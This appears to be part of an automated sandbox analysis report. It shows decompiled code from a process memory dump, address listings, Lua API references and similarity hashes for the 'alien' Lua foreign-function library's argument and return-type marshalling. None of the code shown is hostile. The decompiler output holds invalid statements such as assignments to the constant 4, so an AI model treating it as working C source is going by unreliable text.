										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t254 =  *((intOrPtr*)(_t278 - 0x14));
					 *((intOrPtr*)(_t278 - 0x3c)) = 0;
					_t228 =  *(_t254 + 0xc);
					if(_t228 > 0xc) {
						L58:
						_t229 =  *(_t254 + 8);
						if(_t229 == 0) {
							_t229 = "anonymous";
						}
						_push(_t229);
						_push("alien: unknown return type (function %s)");
						_push(_t276);
						L005E3F26();
						L61:
						_t282 = _t281 + 0xc;
						L62:
						 *((intOrPtr*)(_t278 - 0x24)) =  *((intOrPtr*)(_t278 - 0x24)) +  ~( *(_t278 - 0x48)) * 4;
						 *((intOrPtr*)(_t278 - 0x2c)) =  *((intOrPtr*)(_t278 - 0x2c)) -  *((intOrPtr*)(_t278 - 0x30));
						_t274 = 0;
						 *((intOrPtr*)(_t278 - 0x28)) =  *((intOrPtr*)(_t278 - 0x28)) +  ~( *(_t278 - 0x38)) * 4;
						if( *((intOrPtr*)(_t278 - 0x44)) <= 0) {
							L72:
							_pop(_t275);
							_pop(_t277);
							_pop(_t249);
							return E005E45A4( *((intOrPtr*)(_t278 - 0x30)) +  *((intOrPtr*)(_t278 - 0x34)) +  *(_t278 - 0x38) +  *(_t278 - 0x48) + 1, _t249,  *(_t278 - 4) ^ _t278,  *(_t278 - 0x48), _t275, _t277);
						} else {
							goto L63;
						}
						do {
							L63:
							_t240 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t278 - 0x14)) + 0x30)) + _t274 * 4)) + 0xfffffff3;
							if(_t240 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t240 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t285 = _t282 - 8;
									 *_t285 = _t292;
									_push(_t276);
									L005E3F80();
									_t282 = _t285 + 0xc;
									 *((intOrPtr*)(_t278 - 0x24)) =  *((intOrPtr*)(_t278 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  &(( *(__ebp - 0x2c))[0]);
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx =  &(__ebx[2]);
									goto L71;
							}
							L71:
							_t274 = _t274 + 1;
						} while (_t274 <  *((intOrPtr*)(_t278 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t228 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t247, _t264, _t273, _t292,  *((intOrPtr*)(_t278 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t278 - 0x14)) + 4)), 0, _t273);
							_push(_t276);
							L005E3F74();
							_t282 = _t281 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e2423
0x005e2423
0x005e2423
0x005e2423
0x005e2423
0x005e2423
0x005e2425
0x005e242a
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2448
0x005e244f
0x005e2452
0x005e2457
0x005e245d
0x005e245f
0x005e2464
0x005e2467
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e2074
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_tonumber.LUA5.1 ref: 005E2425
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_pushnumber.LUA5.1(?,?,?), ref: 005E2561
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?), ref: 005E258A
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?), ref: 005E25B3
lua_pushnumber.LUA5.1(?,?,?,?,?), ref: 005E25E3
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 005E2619
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2666
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2696
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26BF
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26E8
lua_pushstring.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2713
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E271E
lua_pushlightuserdata.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2749
luaL_error.LUA5.1(?,alien: unknown return type (function %s),?), ref: 005E2766
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_pushnil.$L_error.lua_pushlightuserdata.lua_pushstring.lua_tonumber.
String ID:
API String ID: 2475247279-0
Opcode ID: 83ffeda3f4f09b0853f91750a9e803dbe14e5dc05762f77052f6f8e3690822be
Instruction ID: 31e28831929c0aa242560572fcb110282bbc52364915adc0769d0c7efc932990
Opcode Fuzzy Hash: 83ffeda3f4f09b0853f91750a9e803dbe14e5dc05762f77052f6f8e3690822be
Instruction Fuzzy Hash: C7C1B3B5D041499BCF08EB95DD89CEEBFB8FF89300F148448E481B7246D7389A55CB61

Uniqueness

Uniqueness Score: -1.00%

Function 005E246F, Relevance: 25.8, APIs: 17, Instructions: 320
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E246F(void* __edi, long long __fp0) {
				long long* __ebx;
				void* __esi;
				void* _t219;
				intOrPtr* _t223;
				signed int _t225;
				char* _t226;
				signed int _t227;
				char* _t228;
				signed int _t239;
				void* _t246;
				void* _t248;
				intOrPtr _t250;
				intOrPtr _t252;
				intOrPtr _t253;
				void* _t272;
				signed int _t273;
				void* _t274;
				void* _t276;
				signed int _t277;
				void* _t279;
				intOrPtr* _t280;
				void* _t281;
				long long _t291;

				L0:
				while(1) {
					L0:
					_t291 = __fp0;
					_t272 = __edi;
					_push(_t246);
					L005E3F68();
					_t280 = _t279 + 8;
					 *((char*)( *((intOrPtr*)(_t277 - 0x2c)))) = E005E45C0(_t219, __fp0);
					E005E46A0(4);
					_t250 =  *((intOrPtr*)(_t277 - 0x2c));
					_t223 = _t280;
					 *_t223 = _t250;
					 *((intOrPtr*)( *((intOrPtr*)(_t277 - 0xc)) + __edi)) = _t223;
					 *((intOrPtr*)(_t277 - 0x2c)) = _t250 + 1;
					while(1) {
						L36:
						 *((intOrPtr*)(_t277 - 0xc)) =  *((intOrPtr*)(_t277 - 0xc)) + 4;
						_t246 = _t246 + 1;
						_t116 = _t277 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t277 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t252 =  *((intOrPtr*)(_t277 - 0x14));
						_t263 =  *((intOrPtr*)(_t252 + 0x30));
						_t225 =  *( *((intOrPtr*)(_t277 - 0xc)) +  *((intOrPtr*)(_t252 + 0x30)));
						if(_t225 > 0x11) {
							L33:
							_t226 =  *(_t252 + 8);
							if(_t226 == 0) {
								_t226 = "anonymous";
							}
							_push(_t226);
							_push(_t246);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t275);
							L005E3F26();
							_t280 = _t280 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t225 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t244 = E005E46A0(4);
								 *((intOrPtr*)(_t277 - 8)) = _t280;
								_push(_t246);
								_push(_t275);
								L005E3F68();
								_t280 = _t280 + 8;
								_t245 = E005E45C0(_t244, _t291);
								_t262 =  *((intOrPtr*)(_t277 - 8));
								_t263 =  *((intOrPtr*)(_t277 - 0xc));
								 *_t262 = _t245;
								 *((intOrPtr*)( *((intOrPtr*)(_t277 - 0xc)) + _t272)) = _t262;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L11:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								L12:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								L10:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								L13:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
